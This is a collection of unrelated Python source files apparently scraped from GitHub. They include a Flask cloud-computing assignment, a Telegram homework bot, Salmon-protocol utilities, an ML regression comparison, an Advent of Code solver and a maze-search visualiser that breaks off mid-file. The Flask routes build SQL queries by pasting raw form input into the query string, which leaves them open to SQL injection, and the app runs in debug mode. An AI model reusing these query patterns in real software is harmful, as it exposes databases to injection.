request.form['Lastname']\n #print(uname)\n #print(lname)\n #sql = \"select user_name from user where user_name='\" + uname + \"'\"\n #print(sql)\n #cursor.execute(sql)\n #res=cursor.fetchall();\n #print(res)\n if uname == '' or fname == '' or lname == '':\n flash('Fields cannot be empty')\n return render_template('register.html')\n\n sql = \"insert into user values ('\" + uname + \"','\" + fname + \"','\" + lname + \"')\"\n #print(sql)\n cursor.execute(sql)\n #res = cursor.fetchall()\n #print(res)\n db.commit()\n #db.close()\n return '

Successful User Registration


'\n\n@app.route('/registerPage', methods=['POST', 'GET'])\ndef registerPage():\n return render_template('register.html')\n\n# logout\n@app.route('/logout', methods=['POST', 'GET'])\ndef logout():\n flash('You have been successfully logged out')\n return redirect(url_for('login'))\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n requestfile = request.files['file']\n file_name = requestfile.filename\n data = requestfile.read()\n #Connect_S3.Bucket('saipriya').put_object(Key=file_name, Body=data)\n return \"File uploaded succesfully!\"\n\n@app.route('/csvupload', methods=['POST'])\ndef csvupload():\n #file_name = request.form['csvfile']\n #splitfile = file_name.split('.')[0]\n # for object in Connect_S3.Bucket('saipriya').objects.all():\n #print(object.key)\n # if 'boat.csv' == object.key:\n # body = object.get()['Body'].read()\n # mystr = []\n # str = body.split('\\n')[0]\n # print(str)\n # mystr = str.split(',')\n # cursor = myConnection.cursor()\n # droptable=\"DROP TABLE IF EXISTS %s\"%splitfile\n # print( droptable)\n # cursor.execute(droptable)\n # print (\"Table dropped successfully\")\n # print(mystr[0], len(mystr))\n # executequery1=\"create table quakes (time text,latitude double,longitude double,depth double,mag double,magType text,nst text,gap text,dmin text,rms double,net text,id text,updated text,place text,type text,horizontalError double,depthError double,magError text,magNst text,status text,locationSource text,magSource text)\"\n # cursor.execute(executequery1)\n executequery2 = 'load data local infile \\'C:/Users/aishw/Downloads/Cloud computing/Assignment3/data/Education.csv \\' into table Education fields terminated by \\',\\' optionally enclosed by \\'\"\\' lines terminated by \\'\\n\\' ignore 1 lines;'\n\n executequery3 = 'load data local infile \\'C:/Users/aishw/Downloads/Cloud computing/Assignment3/data/quakes.csv \\' into table quakes fields terminated by \\',\\' optionally enclosed by \\'\"\\' lines terminated by \\'\\n\\' ignore 1 lines;'\n\n executequery4 = 'load data local infile \\'C:/Users/aishw/Downloads/Cloud computing/Assignment3/data/USZipcodes.csv \\' into table USZipcodes fields terminated by \\',\\' optionally enclosed by \\'\"\\' lines terminated by \\'\\n\\' ignore 1 lines;'\n\n executequery5 = 'load data local infile \\'C:/Users/aishw/Downloads/Cloud computing/Assignment3/data/Starbucks.csv \\' into table Starbucks fields terminated by \\',\\' optionally enclosed by \\'\"\\' lines terminated by \\'\\n\\' ignore 1 lines;'\n\n cursor.execute(executequery2)\n #cursor.execute(executequery3)\n cursor.execute(executequery4)\n #cursor.execute(executequery5)\n\n #count=\"select count(*) from quakes\"\n #sql = \"select count(*) from Education\"\n #sql = \"select count(*) from Starbucks\"\n sql = \"select count(*) from USZipcodes\"\n cursor.execute(sql)\n result = cursor.fetchall()\n c = 0\n str1 = \" \"\n for res in result:\n c = c + 1\n print (str(c) + ':' + str(res))\n str1 += str(c) + ':' + str(res) + '

'\n\n db.commit()\n result=result #str(res)\n return render_template('uploadFiles.html', rdscount=result)\n\n@app.route('/sqlexecute', methods=['POST'])\ndef sqlexecute():\n limit = request.form['limit']\n starttime = time.time()\n print(starttime)\n cursor.execute(query + limit)\n endtime = time.time()\n print('endtime')\n totalsqltime = endtime - starttime\n print(totalsqltime)\n return render_template('uploadFiles.html', rdstime1=totalsqltime)\n\n@app.route('/cleanexecute',methods=['POST'])\ndef cleanexecute():\n save=\"savepoint s1\"\n cursor.execute(save)\n print (\"save point created\")\n safeupdate=\"SET SQL_SAFE_UPDATES = 0\"\n cursor.execute(safeupdate)\n cleanquery=\"update quakes set depth=3.6 where mag=2.8\"\n cursor.execute(cleanquery)\n print (\"executed query\")\n s=\"select * from quakes where depth=3.6\"\n cursor.execute(s)\n result = cursor.fetchall()\n c = 0\n str1 = \" \"\n for row in result:\n c = c + 1\n print (str(c) + ':' + str(row))\n str1 += str(c) + ':' + str(row) + '

'\n db.commit()\n return 'Executed'\n\n@app.route('/query1', methods=['POST'])\ndef query1():\n q1=\"select * from quakes where mag between (select min(mag) from quakes) and (select max(mag) from quakes) having place like '%Alaska'\";\n cursor.execute(q1)\n result = cursor.fetchall()\n c = 0\n str1 = \" \"\n for row in result:\n c = c + 1\n print (str(c) + ':' + str(row))\n str1 += str(c) + ':' + str(row) + '

'\n return str(str1)\n\n@app.route('/query2', methods=['POST'])\ndef query2():\n r1=request.form['val1']\n r2=request.form['val2']\n q2=\"select * from quakes where place like '%\"+r1+\"' or place like '%\"+r2+\"'\"\n cursor.execute(q2)\n result = cursor.fetchall()\n c = 0\n str1 = \" \"\n for res in result:\n c = c + 1\n print (str(c) + ':' + str(res))\n str1 += str(c) + ':' + str(res) + '

'\n return str(str1)\n\n@app.route('/query3', methods=['POST'])\ndef query3():\n r1 = request.form['val1']\n print( r1)\n r2 = request.form['val2']\n q2=\"select * from quakes where DAY(time) between day('%s') and day('%s')\"%(r1,r2)\n cursor.execute(q2)\n result = cursor.fetchall()\n c = 0\n str1 = \" \"\n for res in result:\n c = c + 1\n print (str(c) + ':' + str(res))\n str1 += str(c) + ':' + str(res) + '

'\n return str1\n\n@app.route('/query4', methods=['POST'])\ndef query4():\n r1 = request.form['val1']\n print( r1)\n r2 = request.form['val2']\n r3 = request.form['val3']\n # q2 = \"select * from quakes where mag between %s and %s\"%(r1,r2)\n q2 = \"select * from quakes where DAY(time) between day('%s') and day('%s')\" % (r1, r2)\n cursor.execute(q2)\n result = cursor.fetchall()\n c = 0\n str1 = \" \"\n for res in result:\n c = c + 1\n print (str(c) + ':' + str(res))\n str1 += str(c) + ':' + str(res) + '

'\n return str1\n\n# @app.route('/memexecute', methods=['POST'])\n# def memexecute():\n# limit = request.form['limit']\n# cursor.execute(query + limit)\n# result = cursor.fetchall()\n# memcache.set(hash, result)\n# c = 0\n# for res in result:\n# c = c + 1\n# print(str(c) + ':' + str(res))\n# starttime = time.time()\n# memresult = memcache.get(hash)\n# endtime = time.time()\n# total = endtime - starttime\n# print('Time taken by memcache ', total)\n# return render_template('uploadFiles.html', rdstime2=total)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n app.debug = True\n app.run(port=5004)\n\n\n","repo_name":"aishwaryasalian/CloudAssigment3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1197314657","text":"import logging\nimport os\nimport requests\nimport telegram\nimport time\nfrom http import HTTPStatus\nfrom dotenv import load_dotenv\nfrom exceptions import MessageSendError, CheckTokenError\n\n\nload_dotenv()\n\nPRACTICUM_TOKEN = os.getenv('YA_PRACTICUM_TOKEN')\nTELEGRAM_TOKEN = os.getenv('MY_TELEGRAM_TOKEN')\nTELEGRAM_CHAT_ID = os.getenv('MY_TELEGRAM_CHAT_ID')\n\nRETRY_PERIOD = 600\nENDPOINT = 'https://practicum.yandex.ru/api/user_api/homework_statuses/'\nHEADERS = {'Authorization': f'OAuth {PRACTICUM_TOKEN}'}\n\n\nHOMEWORK_VERDICTS = {\n 'approved': 'Работа проверена: ревьюеру всё понравилось. Ура!',\n 'reviewing': 'Работа взята на проверку ревьюером.',\n 'rejected': 'Работа проверена: у ревьюера есть замечания.'\n}\n\n\nlogging.basicConfig(\n format='%(asctime)s - %(name)s - %(message)s', level=logging.INFO)\nhandler = logging.StreamHandler()\n\n\ndef check_tokens() -> bool:\n \"\"\"Проверяет доступность переменных окружения.\n Если отсутствует хотя бы одна переменная окружения — ошибка.\n \"\"\"\n if not all([PRACTICUM_TOKEN, TELEGRAM_TOKEN, TELEGRAM_CHAT_ID]):\n logging.critical('Отсутствует хотя бы одна переменная окружения')\n raise CheckTokenError('Отсутствует хотя бы одна переменная окружения')\n return True\n\n\ndef send_message(bot: telegram.bot.Bot, message: str) -> None:\n \"\"\"Отправляет сообщение в Telegram чат.\"\"\"\n try:\n bot.send_message(TELEGRAM_CHAT_ID, message)\n logging.debug(f'Сообщение отправлено: {message}')\n except Exception as error:\n error = f'Сообщение не удалось отправить: {error}'\n logging.error(error)\n raise MessageSendError(error)\n\n\ndef get_api_answer(timestamp: int) -> dict:\n \"\"\"Запрос к единственному эндпоинту API-сервиса.\"\"\"\n playload = {'from_date': timestamp}\n try:\n response = requests.get(ENDPOINT, headers=HEADERS, params=playload)\n if response.status_code != HTTPStatus.OK:\n logging.error(f'Ошибка доступа к {ENDPOINT}. Код ответа: '\n f'{response.status_code}')\n raise Exception(f'Эндпоинт API-сервиса не доступен: '\n f'Код ответа: {response.status_code}')\n if response is None:\n message = ('нет ответа от API-сервиса')\n logging.error(message)\n raise Exception(message)\n return response.json()\n except Exception as error:\n message = (f'При запросе к API произошел сбой. \"{error}\"')\n logging.error(message)\n raise Exception(message)\n\n\ndef check_response(response: dict) -> list:\n \"\"\"Проверяет ответ API на соответствие документации.\"\"\"\n if not isinstance(response, dict):\n raise TypeError('ответ API не является словарем')\n if 'homeworks' not in response:\n message = ('Ответ API не содержит ключа \"homeworks\"')\n logging.error(message)\n raise KeyError(message)\n homeworks = response.get('homeworks')\n if not isinstance(homeworks, list):\n message = ('Ключ \"homeworks\" не является списком')\n logging.error(message)\n raise TypeError(message)\n return homeworks\n\n\ndef parse_status(homework: dict) -> str:\n \"\"\"Извлекает из информации о конкретной домашней работе статус.\"\"\"\n if not isinstance(homework, dict):\n raise Exception('homework не словарь.')\n homework_name = homework.get('homework_name')\n homework_status = homework.get('status')\n if homework_name is None:\n raise Exception('Ключ \"homework_name\" не обнаоужен')\n if homework_status in HOMEWORK_VERDICTS:\n verdict = HOMEWORK_VERDICTS[homework_status]\n return f'Изменился статус проверки работы \"{homework_name}\". {verdict}'\n raise Exception(f'Неизвестный статус \"{homework_status}\"')\n\n\ndef main() -> None:\n \"\"\"Основная логика работы бота.\"\"\"\n check_tokens()\n bot = telegram.Bot(token=TELEGRAM_TOKEN)\n send_message(bot, 'Бот запущен')\n timestamp = int(time.time())\n last_message = ''\n\n while True:\n try:\n response = get_api_answer(timestamp)\n homeworks = check_response(response)\n for homework in homeworks:\n message = parse_status(homework)\n send_message(bot, message)\n else:\n logging.debug('Нет нового статусa')\n except Exception as error:\n message_error = f'Сбой в работе программы: {error}'\n logging.error(message_error)\n if message_error != last_message:\n last_message = message_error\n send_message(bot, message_error)\n finally:\n time.sleep(RETRY_PERIOD)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Evkasonka/homework_bot","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":5417,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"39740401303","text":"__author__ = 'hjfreyer@google.com (Hunter Freyer)'\n\n\nimport base64\nimport re\nimport sys\nimport time\n\n# ElementTree is standard with Python >=2.5, needs\n# environment support for 2.4 and lower.\ntry:\n import xml.etree.ElementTree as et # Python >=2.5\nexcept ImportError:\n try:\n import elementtree as et # Allow local path override\n except ImportError:\n raise\n\nimport exceptions\nimport magicsigalg\n\n\nclass Namespaces(object):\n ATOM_NS_URL = 'http://www.w3.org/2005/Atom'\n ME_NS_URL = 'http://salmon-protocol.org/ns/magic-env'\n THR_NS_URL = 'http://purl.org/syndication/thread/1.0'\n ATOM_NS='{%s}' % ATOM_NS_URL\n ME_NS='{%s}' % ME_NS_URL\n\n\nclass Mimes(object):\n ATOM = 'application/atom+xml'\n JSON = 'application/json'\n JSON_ME = 'application/magic-env+json'\n XML_ME = 'application/magic-env+xml'\n\n\n_WHITESPACE_RE = re.compile(r'\\s+')\ndef Squeeze(s): # Remove all whitespace\n return re.sub(_WHITESPACE_RE, '', s)\n\n\nclass DefaultAuthorExtractor(object):\n def ExtractAuthors(self, text, mime_type):\n if mime_type in [Mimes.ATOM]:\n xml = et.XML(text)\n\n auth_uris = xml.findall(Namespaces.ATOM_NS+'author/'\n + Namespaces.ATOM_NS+'uri')\n\n if auth_uris:\n return [NormalizeUserIdToUri(auth_uri.text) for auth_uri in auth_uris]\n else:\n return []\n elif mime_type in [Mimes.JSON]:\n raise NotImplementedError('JSON parsing not implemented')\n else:\n return []\n\n\ndef NormalizeUserIdToUri(userid):\n \"\"\"Normalizes a user-provided user id to a reasonable guess at a URI.\"\"\"\n userid = userid.strip()\n\n # If already in a URI form, we're done:\n if (userid.startswith('http:') or\n userid.startswith('https:') or\n userid.startswith('acct:')):\n return userid\n\n if userid.find('@') > 0:\n return 'acct:'+userid\n\n # Catchall: Guess at http: if nothing else works.\n return 'http://'+userid\n\n\nclass DefaultEncoder(object):\n \"\"\"Encodes specified data strings.\"\"\"\n\n def Encode(self, raw_text_data, encoding):\n \"\"\"Encodes raw data into an armored form.\n\n Args:\n raw_text_data: Textual data to be encoded; should be in utf-8 form.\n Returns:\n The encoded data in the specified format.\n \"\"\"\n if encoding != 'base64url':\n raise exceptions.UnsupportedEncodingError(\n 'Encoding must be \"base64url\", not ' + encoding)\n\n return base64.urlsafe_b64encode(\n unicode(raw_text_data).encode('utf-8')).encode('utf-8')\n\n def Decode(self, encoded_text_data, encoding):\n \"\"\"Decodes armored data into raw text form.\n\n Args:\n encoded_text_data: Armored data to be decoded.\n encoding: Encoding to use.\n Raises:\n ValueError: If the encoding is unknown.\n Returns:\n The raw decoded text as a string.\n \"\"\"\n if encoding != 'base64url':\n raise exceptions.UnsupportedEncodingError(\n 'Encoding must be \"base64url\", not ' + encoding)\n\n return base64.urlsafe_b64decode(encoded_text_data.encode('utf-8'))\n\n\ndef ToPretty(text, indent, linelength):\n \"\"\"Makes huge text lines pretty, or at least printable.\"\"\"\n tl = linelength - indent\n output = ''\n for i in range(0, len(text), tl):\n if output:\n output += '\\n'\n output += ' ' * indent + text[i:i+tl]\n return output\n\n\ndef PrettyIndent(elem, level=0):\n \"\"\"Prettifies an element tree in-place\"\"\"\n # TODO(jpanzer): Avoid munging text nodes where it matters?\n i = \"\\n\" + level*\" \"\n if len(elem):\n if not elem.text or not elem.text.strip():\n elem.text = i + \" \"\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n for elem in elem:\n PrettyIndent(elem, level+1)\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n else:\n if level and (not elem.tail or not elem.tail.strip()):\n elem.tail = i\n","repo_name":"salmon-protocol/salmon-protocol","sub_path":"lib/python/magicsig_hjfreyer/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3782,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"274122795","text":"import numpy as np\nfrom sklearn.ensemble import GradientBoostingRegressor\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import mean_absolute_error as mae\nfrom mlhalos import plot\nfrom sklearn.model_selection import GridSearchCV\nimport os; os.environ['KMP_DUPLICATE_LIB_OK']='True'\nimport lightgbm as lgb\nfrom ..plots import plotting_functions as pf\n\n\n################## FIRST BUILD THE TRAINING SET FROM ORIGINAL SIMULATION ##################\n\ntraj = np.load(\"/Users/lls/Documents/mlhalos_files/regression/features_w_periodicity_fix/ics_density_contrasts.npy\")\nhalo_mass = np.load(\"/Users/lls/Documents/mlhalos_files/stored_files/halo_mass_particles.npy\")\n\ntraining_ids = np.load(\"/Users/lls/Documents/mlhalos_files/regression/gradboost/random_sampled_training/\"\n \"ic_traj/nest_2000_lr006/training_ids.npy\")\n\nfeatures_training = traj[training_ids, :-1]\ntruth_training = np.log10(halo_mass[training_ids])\n\n# Validation set from same simulation\n\nall_ids = np.arange(256**3)[halo_mass > 0]\nremaining_ids = all_ids[~np.in1d(all_ids, training_ids)]\nvalidation_ids_same_sim = np.random.choice(remaining_ids, 10000, replace=False)\n\nfeatures_val_same_sim = traj[validation_ids_same_sim, :-1]\ntruth_val_same_sim = np.log10(halo_mass[validation_ids_same_sim])\n\n# Validation set from different simulation\n\ntraj_val = np.load(\"/Users/lls/Documents/mlhalos_files/reseed50/features/density_constrasts.npy\")\ntruth_val = np.load(\"/Users/lls/Documents/mlhalos_files/reseed50/features/halo_mass_particles.npy\")\n\nall_ids_diff_sim = np.arange(256**3)[truth_val > 0]\nval_ids_diff_sim = np.random.choice(all_ids_diff_sim, 10000, replace=False)\n\nfeatures_val_diff_sim = traj_val[val_ids_diff_sim, :-1]\ntruth_val_diff_sim = np.log10(truth_val[val_ids_diff_sim])\n\n# sklearn GBT\n\nparam_grid = {\"max_depth\": [3, 5, 8],\n \"max_features\": [\"sqrt\", 0.3, 0.5, 0.8],\n \"min_samples_leaf\": [0.05, 0.1, 0.3]\n }\n\ngbm_base = GradientBoostingRegressor(n_estimators=500, subsample=0.8, learning_rate=0.05, loss=\"lad\")\ngbm_cv = GridSearchCV(estimator=gbm_base, param_grid=param_grid, cv=3, verbose=2, n_jobs=-1,\n scoring=\"neg_mean_absolute_error\")\ngbm_cv.fit(features_training, truth_training)\n\ngbm_bestest = gbm_cv.best_estimator_\nimp_sklearn = gbm_bestest.feature_importances_\n\n# gbm_bestest = GradientBoostingRegressor(alpha=0.9, criterion='friedman_mse', init=None,\n# learning_rate=0.05, loss='lad', max_depth=8, max_features=0.8,\n# max_leaf_nodes=None, min_impurity_decrease=0.0,\n# min_impurity_split=None, min_samples_leaf=0.05,\n# min_samples_split=2, min_weight_fraction_leaf=0.0,\n# n_estimators=500, n_iter_no_change=None, presort='auto',\n# random_state=None, subsample=0.8, tol=0.0001,\n# validation_fraction=0.1, verbose=0, warm_start=False)\n# gbm_bestest.fit(features_training, truth_training)\n\n\n# compare importances to LGBM\n\nlgb_train = lgb.Dataset(features_training, truth_training)\n# lgb_eval = lgb.Dataset(features_val_diff_sim, truth_val_diff_sim, reference=lgb_train)\n# lgb_eval = lgb.Dataset(features_val_same_sim, truth_val_same_sim, reference=lgb_train)\n\nparams = {'boosting_type': 'gbdt', 'objective': 'regression', 'metric':'l1', 'num_leaves': 60,\n 'learning_rate': 0.1, 'feature_fraction': 0.6, 'bagging_fraction': 0.8, 'bagging_freq': 5, 'verbose': 0\n }\nlgbm_algo = lgb.train(params, lgb_train, num_boost_round=1000)\n\n\n###### Plot importances ######\n\n\ndef plot_importances(imp, label=\"1000 trees, depth 2\", m=None, width=None, title=r\"Halos $12.5 < \\log M \\leq 13.5$\"):\n if m is None:\n m = np.linspace(np.log10(3e10), np.log10(1e15), 50)[:-1]\n width = np.append(np.diff(m), np.diff(m)[-1])[:-1]\n\n plot.plot_importances_vs_mass_scale(imp, 10 ** m, width=width, label=label,\n title=title, subplots=1, figsize=(10, 5))\n plt.legend(loc=\"best\", fontsize=16)\n plt.subplots_adjust(bottom=0.15, top=0.9)\n # plt.ylim(0, 0.2)\n\n\nimp_lgbm = lgbm_algo.feature_importance(\"gain\")\n\nm = np.linspace(np.log10(3e10), np.log10(1e15), 50)[:-1]\nwidth = np.append(np.diff(10**m), np.diff(10**m)[-1])\n\nplot_importances(gbm_bestest.feature_importances_, label=\"sklearn\", title=\"All halos\")\nplt.bar(10**m, imp_lgbm/np.sum(imp_lgbm), width=2/3*width, label=\"LightGBM\", color=\"pink\", alpha=0.8)\nplt.legend(loc=\"best\")\n\n###### Plot predictions for test set ######\n\ntesting_ids = np.load(\"/Users/lls/Documents/mlhalos_files/regression/gradboost/random_sampled_training/\"\n \"ic_traj/nest_2000_lr006/testing_ids.npy\")\n\nfeatures_testing = traj[testing_ids, :-1]\ntruth_testing = np.log10(traj[testing_ids])\n\npred_sklearn = gbm_bestest.predict(features_testing)\npred_lgbm = lgbm_algo.predict(features_testing)\n\nbins_plotting = np.linspace(truth_testing.min(), truth_testing.max(), 15, endpoint=True)\npf.compare_two_violin_plots(pred_sklearn, truth_testing, pred_lgbm, truth_testing, bins_plotting, path=None,\n label1=\"sklearn\", label2=\"LightGBM\")\nplt.legend(loc=\"best\")\nplt.savefig(\"/Users/lls/Desktop/violins_sklearn_lgbm.png\")\n","repo_name":"lluciesmith/mlhalos_code","sub_path":"regression/gradboost/all_halos_sklearn_vs_lgbm.py","file_name":"all_halos_sklearn_vs_lgbm.py","file_ext":"py","file_size_in_byte":5195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"70216381574","text":"def first_star(expressions): return calculate_sum_of_exrpressions(expressions, {'+' : 1, '*' : 1})\ndef second_star(expressions): return calculate_sum_of_exrpressions(expressions, {'+' : 2, '*' : 1})\n\ndef calculate_sum_of_exrpressions(expressions, precedence):\n tokens = [expression.replace(\"(\", \" ( \").replace(\")\", \" ) \").split() for expression in expressions]\n return sum([calculate_rpn(infix_to_rpn(token, precedence)) for token in tokens])\n\ndef infix_to_rpn(tokens, precedence):\n is_operator = lambda token: token in precedence\n rpn_output = []\n stack = []\n \n for token in tokens:\n if is_operator(token):\n while stack and is_operator(stack[-1]):\n if precedence[token] <= precedence[stack[-1]]:\n rpn_output.append(stack.pop())\n continue\n break\n stack.append(token)\n elif token == '(':\n stack.append(token)\n elif token == ')':\n while len(stack) != 0 and stack[-1] != '(':\n rpn_output.append(stack.pop())\n stack.pop()\n else:\n rpn_output.append(token)\n \n while len(stack) != 0:\n rpn_output.append(stack.pop())\n \n return rpn_output\n\ndef calculate_rpn(rpn_tokens):\n stack = []\n operations = {\n '+': lambda x, y: x + y,\n '*': lambda x, y: x * y\n }\n\n for token in rpn_tokens:\n if token.isnumeric():\n stack.append(int(token))\n else:\n first = stack.pop()\n second = stack.pop()\n result = operations[token](first, second)\n stack.append(result)\n \n return stack[0]\n\n\nif __name__ == \"__main__\":\n math = open('src/main/resources/day18/input.txt', 'r').read().split(\"\\n\")\n print(first_star(math))\n print(second_star(math))","repo_name":"grudus/AdventOfCode2020","sub_path":"src/main/python/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"22437143001","text":"\n'''\nCS 5002 - Final Project\n\nMaze Traversal using BFS, DFS, and A-star.\n\nThis is a visual demonstration of how various algorithms are used to create an AI agent to traverse a maze.\n\nHUI, Macarious Kin Fung\n'''\n\nfrom queue import PriorityQueue\nimport tkinter as tk\nfrom tkinter import ttk\n\n\nCELL_SIZE = 30 # for animation\nANIMATION_INTERVAL = 40 # milliseconds\nFONT = {\n 'heading' : ('Arial', 16, 'underline'),\n 'info box' : ('Arial', 11),\n 'cell' : ('Arial', 8, 'bold'),\n}\nCOLOUR = {\n 'wall' : 'black',\n 'empty' : 'white',\n 'start' : 'green1',\n 'end' : 'red1',\n 'path_bfs' : 'yellow1',\n 'path_dfs' : 'purple1',\n 'path_astar' : 'cyan',\n 'font' : 'black',\n} \n\n\nclass Node:\n def __init__(self, position, parent, g = 0, h = 0):\n '''\n Function Name: __init__\n Constructor for Node class\n \n Parameters:\n position -- tuple, current coordinates\n parent -- Node, parent of current node\n g -- numeral,cost from start to new node, used in A*\n h -- numeral, heuristc, used in A*\n\n Returns:\n None\n '''\n self.position = position\n self.parent = parent\n self.g = g\n self.h = h\n\n\n def __eq__(self, other):\n '''\n Function Name: __init__\n Compares two Node objects\n\n Returns:\n bool, True if cost of left Node is equal the cost of right Node;\n False otherwise\n '''\n return (self.g + self.h) == (other.g + other.h)\n\n\n def __lt__(self, other):\n '''\n Function Name: __init__\n Compares two Node objects\n\n Returns:\n bool, True if cost of left Node is less than the cost of right Node;\n False otherwise\n '''\n return (self.g + self.h) < (other.g + other.h)\n\n\nclass Application:\n '''\n The 'Application' class builds a user-defined maze, solves it, and\n displays the results graphically\n '''\n def __init__(self, master, maze, start, end):\n '''\n Method Name: __init__\n Constructor for 'Application' class\n \n Parameters:\n master -- root of application window\n maze -- 2D array, represents the maze\n start -- tuple, start coordinates\n end -- tuple, end coordintes\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n self.master = master\n self.maze = maze\n self.start = start\n self.end = end\n self.bfs_counter = 0\n self.dfs_counter = 0\n self.astar_counter = 0\n self.bfs_path = []\n self.dfs_path = []\n self.astar_path = []\n\n\n def build_window(self):\n '''\n Function Name: build_window\n Build the application window for a graphical user interface\n \n Parameters:\n Nothing\n \n Raises:\n Nothing\n \n Returns:\n None\n '''\n # Set title of window\n self.master.title('CS 5002 - Maze Traversal')\n\n # Set size of window\n width = len(self.maze[0]) * CELL_SIZE\n height = len(self.maze) * CELL_SIZE\n\n # Create labels for displaying headers\n self.label_bfs = ttk.Label(self.master, anchor = 'center', text = 'Breadth First Search', font = FONT['heading'])\n self.label_bfs.grid(column = 0, row = 0, sticky = 'nsew', padx = 20, pady = 5)\n self.label_dfs = ttk.Label(self.master, anchor = 'center', text = 'Depth First Search', font = FONT['heading'])\n self.label_dfs.grid(column = 1, row = 0, sticky = 'nsew', padx = 20, pady = 5)\n self.label_astar = ttk.Label(self.master, anchor = 'center', text = 'A* Search', font = FONT['heading'])\n self.label_astar.grid(column = 2, row = 0, sticky = 'nsew', padx = 20, pady = 5)\n\n # Create two canvas widgets to draw maze\n self.canvas_bfs = tk.Canvas(self.master, width = width, height = height)\n self.canvas_bfs.grid(column = 0, row = 1, sticky = 'nsew', padx = 20, pady = 5)\n self.canvas_dfs = tk.Canvas(self.master, width = width, height = height)\n self.canvas_dfs.grid(column = 1, row = 1, sticky = 'nsew', padx = 20, pady = 5)\n self.canvas_astar = tk.Canvas(self.master, width = width, height = height)\n self.canvas_astar.grid(column = 2, row = 1, sticky = 'nsew', padx = 20, pady = 5)\n\n # Draw maze in both canvases:\n self.draw_maze(self.canvas_bfs)\n self.draw_maze(self.canvas_dfs)\n self.draw_maze(self.canvas_astar)\n\n # Create buttons\n self.button_bfs = ttk.Button(self.master, text = 'Start BFS', command = self.start_bfs, state = 'normal')\n self.button_bfs.grid(column = 0, row = 2, sticky = 'nsew', padx = 70, pady = 0)\n self.button_dfs = ttk.Button(self.master, text = 'Start DFS', command = self.start_dfs, state = 'normal')\n self.button_dfs.grid(column = 1, row = 2, sticky = 'nsew', padx = 70, pady = 0)\n self.button_astar = ttk.Button(self.master, text = 'Start A*', command = self.start_astar, state = 'normal')\n self.button_astar.grid(column = 2, row = 2, sticky = 'nsew', padx = 70, pady = 0)\n\n # Create labels for displaing results\n self.frame_bfs_results = ttk.LabelFrame(self.master, text = 'BFS Results', labelanchor = 'nw', relief = 'solid')\n self.frame_bfs_results.grid(column = 0, row = 3, sticky = 'nsew', padx = 20, pady = 5)\n self.label_bfs_results = ttk.Label(self.frame_bfs_results, anchor = 'nw', text = '', font = FONT['info box'], wraplength = len(self.maze[0]) * CELL_SIZE - 50)\n self.label_bfs_results.pack(expand = True, fill = 'both', padx = 20, pady = 5)\n\n self.frame_dfs_results = ttk.LabelFrame(self.master, text = 'DFS Results', labelanchor = 'nw', relief = 'solid')\n self.frame_dfs_results.grid(column = 1, row = 3, sticky = 'nsew', padx = 20, pady = 5)\n self.label_dfs_results = ttk.Label(self.frame_dfs_results, anchor = 'nw', text = '', font = FONT['info box'], wraplength = len(self.maze[0]) * CELL_SIZE - 50)\n self.label_dfs_results.pack(expand = True, fill = 'both', padx = 20, pady = 5)\n\n self.frame_astar_results = ttk.LabelFrame(self.master, text = 'A* Results', labelanchor = 'nw', relief = 'solid')\n self.frame_astar_results.grid(column = 2, row = 3, sticky = 'nsew', padx = 20, pady = 5)\n self.label_astar_results = ttk.Label(self.frame_astar_results, anchor = 'nw', text = '', font = FONT['info box'], wraplength = len(self.maze[0]) * CELL_SIZE - 50)\n self.label_astar_results.pack(expand = True, fill = 'both', padx = 20, pady = 5)\n\n self.update_text()\n\n\n def start_bfs(self):\n '''\n Function Name: start_bfs\n Starts the breadth-first search algorithm to traverse a maze\n \n Parameters:\n Nothing\n \n Raises:\n Nothing\n \n Returns:\n list of tuples, list of positions to traverse from start to end\n '''\n self.disable_buttons()\n self.bfs_counter = 0 # Reset counter\n self.bfs_path = [] # Reset path\n self.draw_maze(self.canvas_bfs)\n start_node = Node(position = self.start, parent = None)\n queue = [start_node] # Use queue as data structure\n visited = set() # Create a set of visited nodes\n\n while len(queue) > 0: # Keep searching until queue is empty\n\n current_node = queue.pop(0)\n\n # Update info in application window\n self.bfs_counter += 1\n self.draw_path_circle(current_node, self.canvas_bfs, COLOUR['path_bfs'], self.bfs_counter)\n self.update_text()\n\n visited.add(current_node.position)\n\n if current_node.position == self.end:\n path = [] # Find path by seeking through all parents node\n while current_node is not None:\n path.append(current_node.position)\n current_node = current_node.parent\n\n self.bfs_path = path[::-1] # Reverse the list of nodes\n self.draw_path_all(self.bfs_path, self.canvas_bfs, COLOUR['path_bfs'])\n self.update_text()\n return path\n\n # From current cell, traverse to all possible nodes (N, E, S, W)\n for row_change, column_change in [(-1, 0), (0, 1), (1, 0), (0, -1)]:\n new_row = current_node.position[0] + row_change\n new_column = current_node.position[1] + column_change\n\n # Check if adjacent cell is a valid path\n # Valid path must be in range of maze boundaries\n # Valid path must not be a wall\n # Valid path cannot already be in queue\n if (\n (0 <= new_row < len(self.maze)) and (0 <= new_column < len(self.maze[0])) and\n (self.maze[new_row][new_column] != 1) and ((new_row, new_column) not in visited)\n ) and all((new_row, new_column) != position for position in (node.position for node in queue)\n ):\n # Set current node as parent and add current node to queue\n queue.append(Node(position = (new_row, new_column), parent = current_node))\n\n self.bfs_path = 'BFS: no solution found'\n self.update_text()\n\n\n def start_dfs(self):\n '''\n Function Name: start_dfs\n Starts the depth-first search algorithm to traverse a maze\n \n Parameters:\n Nothing\n \n Raises:\n Nothing\n 